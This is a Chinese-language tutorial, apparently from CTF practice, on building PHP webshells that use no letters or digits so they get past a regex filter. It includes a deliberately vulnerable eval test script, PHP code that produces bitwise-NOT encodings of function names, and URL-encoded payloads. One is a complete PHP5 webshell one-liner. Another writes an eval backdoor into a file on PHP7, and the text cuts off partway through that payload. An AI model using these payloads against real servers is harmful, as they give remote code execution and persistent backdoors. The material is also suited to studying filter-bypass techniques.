前言
最近做题的时候遇到了许多过滤了字母和数字的代码执行,参考了一些大佬的文章后,就想自己写一篇文章来总结一下不用字母和数字构造webshell的姿势。
测试代码
<?php
$c=$_GET[1];
if(preg_match('/[0-9]|[a-z]/i',$c)){
die("error");
}
eval($c);
?>
本文所总结的姿势均用此代码测试。
1 位运算
因为不能用字母数字,所以我们可以通过取反,或,异或等位运算利用特殊字符构造出字母数字,再利用php动态函数名的特性来构造webshell。
不过要注意的是,在php5中assert是一个函数,但在php7中assert就变成了一个语言结构。也就是说,在php7环境下我们就不能直接构造webshell,但我们可以利用file_put_contents()等函数来写文件。
1.1 取反
这是最简单的一种方式了,将字符串取反后得到非字母数字的字符,然后用该字符和取反符号配合使用构造webshell。
1.1.1 PHP5
<?php
$a="assert";
$b=~$a;
echo urlencode($b);
echo "<br>";
$c='_POST';
$d=~$c;
echo urlencode($d);
?>
用该代码来得到取反结果,因为取反后的结果一般是特殊字符,直接复制粘贴可能会出错,所以将其url编码后再输出。
注意:不能将$取反,否则会出错 要将$转义,不然会出错
构造webshell如下:
$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]); //密码为_
1.1.2 PHP7
因为php7不能直接用assert构造webshell,所以我们可以选择file_put_contents()来写入shell。
php7支持 ($a)() 这种动态函数名的格式,所以我们不用再声明其他变量了。
<?php
$a="file_put_contents";
$b=~$a;
echo urlencode($b);
echo "<br>";
$file='4.php';
$d=~$file;
echo urlencode($d);
echo "<br>";
$con="<?php eval(\$_POST[1]);";
$e=~$con;
echo urlencode($e);
?>
payload
(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0